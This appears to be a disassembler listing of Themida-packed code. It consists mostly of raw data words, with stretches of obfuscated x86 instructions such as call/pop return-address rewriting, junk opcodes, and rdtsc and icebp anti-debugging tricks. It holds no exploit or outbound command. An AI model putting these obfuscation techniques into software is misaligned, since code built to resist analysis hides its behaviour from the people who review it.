		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0A42196A3h, 81AAA0CAh, 8B66AB4Eh, 6AD3FFF7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 65BBC350h, 2D78166h, 5985FFF5h, 0F8060F24h
		dd 7DFE9h, 0E800h, 815D0000h, 131A78EDh, 8E906h, 0C3160000h
		dd 2A7983EFh, 0BD8142A1h, 60F00FDh, 7D0h, 16F860Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 4565D4C3h, 93EE47BFh, 5E8B1h, 50960000h, 8BAA9039h
		dd 0F16DDBDh, 7E85E06h,	0C2000000h, 230DE401h, 0F5E16F2h
		dd 9D8BF8B7h, 60F0869h,	829B58Bh, 0E381060Fh, 100h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 8BC35747h, 60F513F9h
		dd 2281852Bh, 0BD8B060Fh, 60F1A85h, 0FDB0B61h, 5785h, 18E0F00h
		dd 0F9000000h, 1916BD83h, 0F000613h, 0B84h, 0BF665100h
		dd 0E95F7BEDh, 66h, 191685C7h, 10613h, 6A0000h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0E1089AC3h, 5776C219h, 0F0BF0F29h, 31E9h, 0F28B6600h
		dd 191685C7h, 613h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0B8924EC3h, 45D4AF0Dh
		dd 9D8D0D48h, 60F0869h,	0AF9BD89h, 2381060Fh, 0FFFFFEFFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C8C35747h
		dd 0EF020732h, 8E828h, 96760000h, 443FAADEh, 0FE9E7BDh
		dd 58000000h, 0F720CF1Eh, 31ABB7E5h, 547760BEh,	0E95FDE53h
		dd 5, 8C3C4B17h, 0DB8C664Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 6C35343h, 9952C624h, 0F04C3F6h
		dd 0A984h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FF6BAF6Ah, 0F344995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0C107C750h, 60C9BAA9h, 2A619D89h, 0F78B060Fh, 12E961h
		dd 68E0000h, 0CBE61ADEh, 0DEDFF242h, 0D2B47B31h, 1A2B305Dh
		dd 50505090h, 0FE8B6652h, 0DE9310Fh, 0D8000000h, 0B8DE740Fh
		dd 578847C9h, 1035627Bh, 905F585Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 79C35040h, 0F78B66AEh, 7EE9F08Bh
		dd 66000003h, 0B0F98Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 7BC35141h, 10747925h,	0F60CD6Ch, 287h
		dd 61616000h, 10E8h, 0B4D8C700h, 0C1D73059h, 7C2AE219h
		dd 0D4C11844h, 41B58B07h, 5E060F1Bh, 5880F51h, 0BF000000h
		dd 0E9C6775h, 6A70E65Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 3CE7C355h, 2C25BD8Bh
		dd 71E4060Fh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	0AC35545h, 0CE9ACF8h, 7F000000h, 0B3EFB340h, 0C068266Ch
		dd 0F0C8314h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 9B8DB5C3h, 5DB58BFDh, 0BA060F24h
		dd 6, 0E9FABF0Fh, 9, 6A873CF4h,	0CF2C7206h, 0FC38B6Eh
		dd 681h, 0D1BD2900h, 0C1060F2Fh, 0B52304E8h, 60F0015h
		dd 6AE2F766h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 1C9BC351h, 1C3B41A8h, 0F7AFA48h
		dd 684h, 91DF8100h, 2B09E1E3h, 0A5B531D8h, 93060F21h, 0F08B6651h
		dd 8E8505Fh, 53000000h,	0B3F489DFh, 6623FAC3h, 5E7FC0BEh
		dd 0B5FFF593h, 60F00FDh, 29259D89h, 95FF060Fh, 60F3451h
		dd 8BE4BE66h, 0FE900B0h, 3F000000h, 0F816A6B4h,	0EAE15B28h
		dd 0E0213A2Fh, 70E66043h, 800Fh, 71E40000h, 0C850Fh, 820F0000h
		dd 6, 2C91B50Bh, 613C060Fh, 1D3830Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 974E75C3h, 0F10A656h, 0FE9D8B6h, 13000000h, 0C688509Fh
		dd 8082307Eh, 590C8947h, 6BA86D8h, 3000000h, 0F3155B5h
		dd 29B58B06h, 8B060F0Bh, 89B50BC3h, 0C1060F12h,	6A04E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B304C6C3h, 8EBADCD3h, 0BD8B5E25h, 60F1E11h,	6AE2F766h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 33B0C353h, 0D82BB609h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 2CC35242h, 0D82B5894h, 10B880Fh
		dd 81660000h, 0B9CB57DFh, 7, 0F00C183h,	0D93BF8B7h, 0F3860Fh
		dd 0E8570000h, 13h, 9652051Eh, 227F7D2h, 0C1164CFh, 1CB7C0C1h
		dd 5EFA3424h, 0D98C665Fh, 1D25BD8Bh, 0C1F6060Fh, 0BE840F04h
		dd 0BE000000h, 3DD49D02h, 344995FFh, 6A060Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0F7813AC3h
		dd 1BFAF24Bh, 26259D31h, 6A5B060Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E9B4C357h
		dd 890F51E8h, 6, 31EDB58Bh, 2B5F060Fh, 0E9B58BC3h, 3D060F32h
		dd 834h, 4B860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0BE8D56C3h, 0AAB8E9A4h
		dd 850F7049h, 16h, 10820Fh, 0BE90000h, 20000000h, 0E2439A54h
		dd 1804F53Ch, 0EE9AC81h, 89000000h, 0F2FCDBDh, 89C08B06h
		dd 0F272985h, 8BC38B06h, 6840FD8h, 8B000000h, 0F01E9BDh
		dd 0F985C706h, 0DB060F2Fh, 6A75110Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9247C351h
		dd 0E9F8BF0Fh, 7, 0D49D6662h, 8B5EED33h, 0F1BB1B5h, 81C08B06h
		dd 0F00FDBDh, 7D006h, 18850F00h, 9000000h, 0F0051BDh, 0FD85FF06h
		dd 0F060F00h, 684h, 65BD3300h, 0FF060F30h, 0F00FDB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3DD48716h, 0FFF38B66h, 0F345195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 6A905Eh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 3059B4C3h, 32A9BD8Bh, 0BD8B060Fh, 60F139Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 28C35747h, 6743B5EDh
		dd 8D315B67h, 60F053Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0E9C35141h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 57C35141h, 0D27244AEh, 66AD435Bh
		dd 89C9DEBEh, 0F17E98Dh, 0DB48BE06h, 6A3D57h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1BE13AC3h
		dd 0BBFB2023h, 0F18B662Fh, 17098D09h, 9589060Fh, 60F122Dh
		dd 0AE9h, 6DE25A00h, 0C43E1A46h, 896EA6BCh
		dd 0F0B01BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 18269C98h, 42E90303h, 6AFFFFF8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 2301C351h, 1025906h, 8A0FC18Bh, 2, 4EBFB8Bh
		dd 0
; ---------------------------------------------------------------------------
		jnp	loc_58D138
		mov	edi, [ebp+60F2EB1h]


loc_58D138:				; CODE XREF: Themida_:0058D12Cj
		sub	[ebp+60F0131h],	eax
		lea	eax, [ebp+60F1461h]
		mov	si, 0C839h
		mov	esi, edi
		nop
		pusha
		mov	bx, di
		jle	loc_58D164
		call	near ptr loc_58D162+1
		mov	esi, 7D5E50Dh
		aas
		fucomi	st, st(7)


loc_58D162:				; CODE XREF: Themida_:0058D155p
		jmp	short loc_58D1BD
; ---------------------------------------------------------------------------


loc_58D164:				; CODE XREF: Themida_:0058D14Fj
		popa
		push	eax
		nop
		push	0
		push	eax
		call	sub_58D172
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D172	proc near		; CODE XREF: Themida_:0058D16Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58D172	endp

; ---------------------------------------------------------------------------
		cdq
		shl	dword ptr [edx], 1
		cmp	al, 0B5h
		sbb	al, 0A2h
		jmp	loc_58D19F
; ---------------------------------------------------------------------------
		dw 20B6h
		dd 1728D4D4h, 51973F73h, 89E31D86h
		db 0D0h, 0A5h, 52h
; ---------------------------------------------------------------------------


loc_58D19F:				; CODE XREF: Themida_:0058D189j
		mov	si, cx
		push	0
		jns	loc_58D1B6
		js	loc_58D1B6
		add	edi, 55EF4753h


loc_58D1B6:				; CODE XREF: Themida_:0058D1A4j
					; Themida_:0058D1AAj
		push	0
		push	edi
; ---------------------------------------------------------------------------
		db 0E9h, 6, 0
		db 0
; ---------------------------------------------------------------------------


loc_58D1BD:				; CODE XREF: Themida_:loc_58D162j
		add	al, al
		out	8Bh, eax	; DMA page register 74LS612:
					; Channel 5 (address bits 17-23)
		push	esp
		xchg	esi, [edx+38858D5Eh]
		and	al, 13h
		push	es
		push	0
		push	ecx
		call	sub_58D1D6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D1D6	proc near		; CODE XREF: Themida_:0058D1CEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58D1D6	endp

; ---------------------------------------------------------------------------
		dw 33A8h
		dd 0B7DD0061h, 834D3A13h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 28ACE4C3h, 6F8B00BFh
		dd 0FBBF50F8h, 89003F79h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 1FCAEDC3h, 0FD8D89B0h
		dd 6A060F04h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0E19D89EAh, 6A060F08h, 56605600h
		dd 5E958h, 5BE20000h, 613898B3h, 8D95FF5Fh, 6A060F34h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 36BBC352h, 0DE95276h, 0B4000000h,	261BDE69h
		dd 414F431Dh, 6CBD1310h, 0A1BD235Fh, 89060F1Ch,	0F0039B5h
		dd 5E9D8D06h, 89061298h, 0F18BDBDh, 0F9D3FF06h,	245985FFh
		dd 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 1D0C8DC3h, 3495BD8Bh, 890F060Fh, 6, 21EDBD03h
		dd 0C6E9060Fh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6132442h
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jbe	loc_58D476
		push	0
		push	eax
		call	sub_58D32E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D32E	proc near		; CODE XREF: Themida_:0058D326p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_58D32E	endp

; ---------------------------------------------------------------------------
		dw 0E660h
; ---------------------------------------------------------------------------
		push	ecx
		cmpsd
		cmp	eax, 8B2E4306h
		popf
		mov	cl, 12h
		clts
		push	0
		push	edx
		call	sub_58D357
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D357	proc near		; CODE XREF: Themida_:0058D34Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58D357	endp

; ---------------------------------------------------------------------------
		push	esp
		sar	byte ptr ds:56AAAF43h, cl
		mov	bl, 25h
		and	ebx, 100h
		mov	[ebp+60F00CDh],	ecx
		or	ebx, ebx
		jnz	loc_58D412
		jmp	loc_58D398
; ---------------------------------------------------------------------------
		db 0BCh, 3Ch, 0Fh
		dd 2356DAA8h, 26E5C42Dh, 71C66537h
; ---------------------------------------------------------------------------


loc_58D398:				; CODE XREF: Themida_:0058D384j
		mov	[ebp+60F1DFDh],	edx
		cmp	dword ptr [ebp+613225Eh], 0
		jz	loc_58D3E8
		jmp	loc_58D3C3
; ---------------------------------------------------------------------------
		pop	ecx
		cmp	ch, [ebx-644BFD96h]
		cli
		retf
; ---------------------------------------------------------------------------
		db 0E6h, 1Ah, 5Eh
; ---------------------------------------------------------------------------
		xor	[edx], ah
		and	eax, 0CAA36F3Ah


loc_58D3C3:				; CODE XREF: Themida_:0058D3ABj
		jmp	loc_58D439
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58D3D3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D3D3	proc near		; CODE XREF: Themida_:0058D3CBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58D3D3	endp

; ---------------------------------------------------------------------------
		fdiv	dword ptr [esi]
		mov	esi, edx


loc_58D3E8:				; CODE XREF: Themida_:0058D3A5j
		mov	dword ptr [ebp+613225Eh], 1
		call	near ptr loc_58D3FC+3
		mov	ebx, 821231B7h


loc_58D3FC:				; CODE XREF: Themida_:0058D3F2p
		call	far ptr	1481h:0BD8BC021h
		clts
		pop	edi
		and	edi, [ebp+60F015Dh]
		jmp	loc_58D439
; ---------------------------------------------------------------------------
		clc


loc_58D412:				; CODE XREF: Themida_:0058D37Ej
		mov	dword ptr [ebp+613225Eh], 0
		push	0
		push	edi
		call	sub_58D427
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D427	proc near		; CODE XREF: Themida_:0058D41Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58D427	endp

; ---------------------------------------------------------------------------
		db 3Eh
		db 23h
; ---------------------------------------------------------------------------


loc_58D439:				; CODE XREF: Themida_:loc_58D3C3j
					; Themida_:0058D40Cj
		lea	ebx, [ebp+60F12B1h]
		jmp	loc_58D450
; ---------------------------------------------------------------------------
		dd 5DDE5354h, 0CA1999E4h, 1DE2AA83h
; ---------------------------------------------------------------------------


loc_58D450:				; CODE XREF: Themida_:0058D43Fj
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	edx
		call	sub_58D461
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D461	proc near		; CODE XREF: Themida_:0058D459p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_58D461	endp

; ---------------------------------------------------------------------------
		sahf
		mov	di, 4AACh


loc_58D476:				; CODE XREF: Themida_:0058D31Dj
		mov	bx, ds
		add	di, 9324h
		test	bl, 4
		jz	loc_58D511
		mov	[ebp+60F336Dh],	ebx
		call	dword ptr [ebp+60F3449h]
		nop
		push	eax
		push	edx
		jmp	loc_58D4A3
; ---------------------------------------------------------------------------
		db 0C9h
		dd 2214C18h
		db 0F9h, 44h, 0C7h
; ---------------------------------------------------------------------------


loc_58D4A3:				; CODE XREF: Themida_:0058D496j
		rdtsc
		mov	esi, ecx
		pop	edx
		pop	eax
		push	eax
		pusha
		call	sub_58D4BE
		dec	esi
		inc	ebx
		outs	dx, byte ptr ss:[esi]
		fidiv	word ptr [edx-2Ch]
		db	3Eh
		pop	esi
		mov	word ptr [esi-43h], ss
		icebp
		push	edx

; =============== S U B	R O U T	I N E =======================================



sub_58D4BE	proc near		; CODE XREF: Themida_:0058D4ABp
		jbe	$+6
		pop	esi
		jbe	loc_58D4CF
		mov	cx, 3017h


loc_58D4CF:				; CODE XREF: sub_58D4BE+7j
		popa
		nop
		push	0
		push	ebx
		call	sub_58D4DC
		and	[ebx-3Dh], bl
sub_58D4BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58D4DC	proc near		; CODE XREF: sub_58D4BE+16p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58D4DC	endp

; ---------------------------------------------------------------------------
		dd 0B320AB48h, 7E9A314Fh, 0E8F9A0BCh, 0Eh, 0EE5DB842h
		dd 0CF11F9A9h, 7187E9FDh, 9509E92Ah, 60F0039h
; ---------------------------------------------------------------------------
		pop	esi


loc_58D511:				; CODE XREF: Themida_:0058D481j
		jmp	loc_58D937
; ---------------------------------------------------------------------------
		dw 66FCh
		dd 0B0FA8Bh, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 958935C3h, 60F0039h, 6A71E4h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 3AF78FC3h, 0B3940E59h, 0BAD8B60Fh, 6, 888EBF53h, 8B5F0F96h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8BC4F1D7h, 0F2565B5h, 4E8C106h, 1A11B529h
		dd 0F766060Fh, 89D82BE2h, 0F01D99Dh, 0BF669306h, 8B50B11Dh
		dd 6A93F0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 1DD302C3h, 0D450BB6Eh, 0F1BD29C4h, 0FF060F2Ch
		dd 0F00FDB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 335ACC31h, 0B58BF18Bh, 60F0B3Dh
		dd 345195FFh, 0B58B060Fh, 60F2A0Dh, 6A00B0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 4D68E9C3h
		dd 2D259589h, 70E6060Fh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 2FC35545h, 0AE0F928Fh, 6A71E4ECh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 1CE7C352h, 86627234h, 0B8D62068h, 0F613CF8h,	2A683h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 31E3F668h, 0F295195h, 0D8B60F06h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 5FC35242h, 898D8983h
		dd 89060F09h, 0F29199Dh, 6BA06h, 0BD330000h, 60F0159h
		dd 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 3D307C3h,	0F07E9BDh, 375FBF06h, 0E8C1100Fh
		dd 0F3BF0F04h, 0BE8h, 9F4E8D00h, 9B7CAFE5h, 0DAC0EE22h
		dd 1DA9BD2Bh, 665F060Fh, 9D01E2F7h, 60F160Dh, 6AD82Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89EBD4C3h, 0F0FF185h, 6A5806h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 2FC8FEC3h, 0DF530368h
		dd 759D89F8h, 2B060F05h, 0A4880FD8h, 6A000001h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0E8FC352h, 17018589h, 7B9060Fh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 9828C353h, 423EF097h, 118DBD23h, 0C183060Fh,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 365DD0D1h, 5E93E10h,	0F6000000h, 0B5D754DBh,	860FD93Bh
		dd 11Fh, 0E810F60h, 0E9000000h,	9, 1E157C11h, 0CAFEA2A2h
		dd 959D29C2h, 61060F34h, 0F8D98C66h, 0F04C1F6h,	0C984h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 6D9529D5h, 0FF060F33h, 0F344995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0FF8C3DA5h, 0BEC5603Ch, 13E95Bh, 713C0000h, 5F3C6C71h
		dd 1A6DCE6Ah, 9213EF13h, 0D5BB694Bh, 6AC32BBDh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B136C355h, 53A5338Ch, 2DB58B99h, 3D060F12h,	834h, 30860Fh
		dd 800F0000h, 6, 2C39B58Bh, 4CE9060Fh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0A413C353h, 0C08BD3ECh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 17C35343h, 0D1AC5BC5h, 0B58BEBFFh, 60F2199h
; ---------------------------------------------------------------------------
		mov	si, cx


loc_58D937:				; CODE XREF: Themida_:loc_58D511j
		mov	eax, ebx
		mov	ebx, eax
		sub	[ebp+60F0851h],	esi
		mov	dword ptr [ebp+60F0869h], 1A6B259Fh
		pusha
		mov	ecx, [ebp+60F0A95h]
		jmp	loc_58D96A
; ---------------------------------------------------------------------------
		db 0ACh
		dd 270AAB9Ah, 0B21461FFh, 0EFFB6429h, 3A72DC8Bh
		db 96h,	2Ah
; ---------------------------------------------------------------------------


loc_58D96A:				; CODE XREF: Themida_:0058D952j
		popa
		mov	eax, eax
		or	[ebp+60F0C9Dh],	esi
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jnz	loc_58D989
		inc	dword ptr [ebp+60F00FDh]


loc_58D989:				; CODE XREF: Themida_:0058D97Dj
		push	dword ptr [ebp+60F00FDh]
		js	loc_58D99B
		jnb	$+6


loc_58D99B:				; CODE XREF: Themida_:0058D98Fj
		call	dword ptr [ebp+60F3451h]
		mov	di, cx
		nop
		add	di, 23ECh
		sub	[ebp+60F3319h],	edx
		js	loc_58D9BB
		mov	esi, 6B87DE3Fh


loc_58D9BB:				; CODE XREF: Themida_:0058D9B0j
		mov	esi, [ebp+60F3385h]
		push	0
		push	esi
		call	sub_58D9CC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D9CC	proc near		; CODE XREF: Themida_:0058D9C4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_58D9CC	endp

; ---------------------------------------------------------------------------
		dd 0CCF8AA31h, 2A15B523h, 6A060Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 552BB1C3h, 899C8D9Ch
		dd 0F2DB595h, 0EBA7BF06h, 0F88B7B14h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 49C35343h, 4D535969h, 899637C1h
		dd 0F29F98Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8974C66Eh, 0F1E8D85h, 0BD8B5206h
		dd 60F0521h, 8156525Eh,	9B560ECEh, 0FE86Ah, 13510000h
		dd 6A3F50ECh, 81B3F22Eh, 6E51CFB5h, 0F95F5E87h,	9531605Eh
		dd 60F29A9h, 860Fh, 8E0F0000h, 4, 7079B866h, 52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 7F94EAE4h, 0E9AC4BA7h, 0FFFFF83Fh, 2BBCFDBEh, 6A603Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 2C8E23C3h, 4061F34Bh, 0D7B70FC5h, 0FFFFFEB9h, 62BE66FFh
		dd 198D2165h, 31060F00h, 0F0F6995h, 4D8D2106h, 6A060F13h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 3E1DC355h, 0AEE61765h, 0C8144765h, 8BE6CB80h
		dd 0F00198Dh, 0C7BF0F06h, 0F01E183h, 685h, 0E58D8900h
		dd 8B060F22h, 0F134D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 9761C03Bh, 456C2893h
		dd 0E183C38Bh, 20850F01h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0EA94C356h
		dd 61F57CE4h, 0A5BD8B60h, 0B9060F2Dh, 0FFFFFFFEh, 3800Fh
		dd 0EA800000h, 518D2131h, 6A060F25h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 4C3EC351h
		dd 87AE380Fh, 0E895337Ch, 0Ch, 0C2A84729h, 0F26093AFh
		dd 5AB1BCA5h, 8DB5895Fh, 21060F23h, 0F12B18Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 3F25E4Ch, 0F5B72F9Dh, 2CDDB589h, 11E8060Fh, 5B000000h
		dd 0E23CE1B5h, 0D53CC22Fh, 0F21A0208h, 90F53087h, 1BB19D89h
		dd 8B5F060Fh, 0F25518Dh, 0D7C68106h, 83311B8Ch,	850F01E1h
		dd 1Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 71C35646h, 8BD9B70Fh, 0F12B18Dh, 0C9E38106h,	0E95624AFh
		dd 6, 5A5EE4FCh, 0E183347Dh, 1C850F01h,	0E9000000h, 11h
		dd 0E19201A8h, 51C91A03h, 28A35540h, 0AA8EF9DCh, 31B589CFh
		dd 61060F17h, 0F1B70F60h, 0FFFFFEB9h, 0A0BF66FFh, 0C18D21DCh
		dd 8B060F34h, 0B58D21D6h, 6A060F28h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9A3C357h
		dd 7C6CBB46h, 8BF577E8h, 0F34C18Dh, 0D88B6606h,	0F01E183h
		dd 1E85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B0E823Eh, 0F28B58Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 50F936D4h, 83CB6082h, 850F01E1h, 26h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 0CEC35545h, 5B58B46h
		dd 66060F2Ch, 6061FE8Bh, 21D1B589h, 8B66060Fh, 0FFFEB9C6h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0EF3682C3h, 1181B58Bh, 8D21060Fh,	60F2FF9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F6C35040h
		dd 0FF0B7FEh, 8D21D1B7h, 60F0869h, 17958529h, 8D8B060Fh
		dd 60F2FF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	2DC35343h, 0A331B11h, 32CD9529h, 0E183060Fh, 6850F01h
		dd 89000000h, 0F15DD95h, 698D8B06h, 6A060F08h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 2C6FC353h, 14E9h, 4D274800h,	0CFDD88EDh, 3DE61E9h, 9A33AB29h
		dd 64B79848h, 1E183B9h,	24850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0BCB95C3h
		dd 0BB66F67Bh, 6061728Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 8BC35242h, 0A4349E31h, 1BF99D89h, 0B3B8060Fh
		dd 0C7421CC6h, 0F00FD85h, 7D006h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 303502C5h
		dd 8B5B5FB3h, 0F08658Dh, 759D8906h, 61060F19h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9FC35141h, 7EB279Bh
